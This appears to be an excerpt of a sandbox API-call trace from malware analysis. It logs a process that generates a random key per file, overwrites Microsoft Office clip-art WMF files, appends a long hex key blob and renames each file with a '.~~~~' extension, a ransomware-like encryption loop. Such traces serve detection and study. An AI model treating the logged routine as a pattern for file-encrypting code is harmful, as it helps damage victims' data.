	[0124.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfa10
	[0124.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.656] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.656] GetLastError () returned 0x0
	[0124.656] GetLastError () returned 0x0
	[0124.656] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.656] GetLastError () returned 0x0
	[0124.656] GetLastError () returned 0x0
	[0124.732] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff620, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.732] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x9e0, lpOverlapped=0x0) returned 1
	[0124.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0124.734] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.734] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.734] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.734] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.734] CloseHandle (hObject=0x140) returned 1
	[0124.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdec0
	[0124.755] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf.~~~~")) returned 1
	[0124.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bdec0 | out: hHeap=0x300000) returned 1
	[0124.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.757] GetLastError () returned 0x0
	[0124.758] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.759] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.759] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.759] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24474944482) returned 1
	[0124.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3d1f710, dwHighDateTime=0x1d60e1e)) 
	[0124.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820910
	[0124.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820910 | out: hHeap=0x300000) returned 1
	[0124.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfc70
	[0124.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.760] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.760] GetLastError () returned 0x0
	[0124.761] GetLastError () returned 0x0
	[0124.761] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.761] GetLastError () returned 0x0
	[0124.761] GetLastError () returned 0x0
	[0124.764] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff630, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.765] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x9d0, lpOverlapped=0x0) returned 1
	[0124.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.767] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.767] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.767] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.767] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.767] CloseHandle (hObject=0x11c) returned 1
	[0124.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfc70
	[0124.768] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf.~~~~")) returned 1
	[0124.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfc70 | out: hHeap=0x300000) returned 1
	[0124.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.769] GetLastError () returned 0x0
	[0124.770] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.771] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.771] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.771] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24476125449) returned 1
	[0124.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3d45870, dwHighDateTime=0x1d60e1e)) 
	[0124.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820948
	[0124.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820948 | out: hHeap=0x300000) returned 1
	[0124.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfd08
	[0124.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.772] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.772] GetLastError () returned 0x0
	[0124.772] GetLastError () returned 0x0
	[0124.773] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.773] GetLastError () returned 0x0
	[0124.773] GetLastError () returned 0x0
	[0124.775] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff4de2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.776] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb21e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xb21e, lpOverlapped=0x0) returned 1
	[0124.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.778] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.778] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.778] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.778] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.779] CloseHandle (hObject=0x11c) returned 1
	[0124.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfc70
	[0124.779] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf.~~~~")) returned 1
	[0124.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfc70 | out: hHeap=0x300000) returned 1
	[0124.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.780] GetLastError () returned 0x0
	[0124.781] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.782] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.782] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.782] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24477224519) returned 1
	[0124.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3d6b9d0, dwHighDateTime=0x1d60e1e)) 
	[0124.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820980
	[0124.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820980 | out: hHeap=0x300000) returned 1
	[0124.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfda0
	[0124.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.783] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.783] GetLastError () returned 0x0
	[0124.783] GetLastError () returned 0x0
	[0124.783] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.784] GetLastError () returned 0x0
	[0124.784] GetLastError () returned 0x0
	[0125.007] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8916, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.007] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x76ea, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x76ea, lpOverlapped=0x0) returned 1
	[0125.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.009] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.009] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.009] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.009] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.009] CloseHandle (hObject=0x11c) returned 1
	[0125.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c02f8
	[0125.009] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf.~~~~")) returned 1
	[0125.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c02f8 | out: hHeap=0x300000) returned 1
	[0125.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.413] GetLastError () returned 0x0
	[0125.414] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.416] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.416] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.416] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24540599513) returned 1
	[0125.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb435f0d0, dwHighDateTime=0x1d60e1e)) 
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820d38
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820d38 | out: hHeap=0x300000) returned 1
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfe38
	[0125.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.417] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.417] GetLastError () returned 0x0
	[0125.417] GetLastError () returned 0x0
	[0125.417] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.417] GetLastError () returned 0x0
	[0125.417] GetLastError () returned 0x0
	[0125.419] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe65a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.420] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x19a6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x19a6, lpOverlapped=0x0) returned 1
	[0125.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.422] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.422] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.422] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.422] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.422] CloseHandle (hObject=0x11c) returned 1
	[0125.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfe38
	[0125.422] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf.~~~~")) returned 1
	[0125.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfe38 | out: hHeap=0x300000) returned 1
	[0125.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.424] GetLastError () returned 0x0
	[0125.424] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.426] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.426] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.426] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24541635325) returned 1
	[0125.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4385230, dwHighDateTime=0x1d60e1e)) 
	[0125.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820d70
	[0125.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820d70 | out: hHeap=0x300000) returned 1
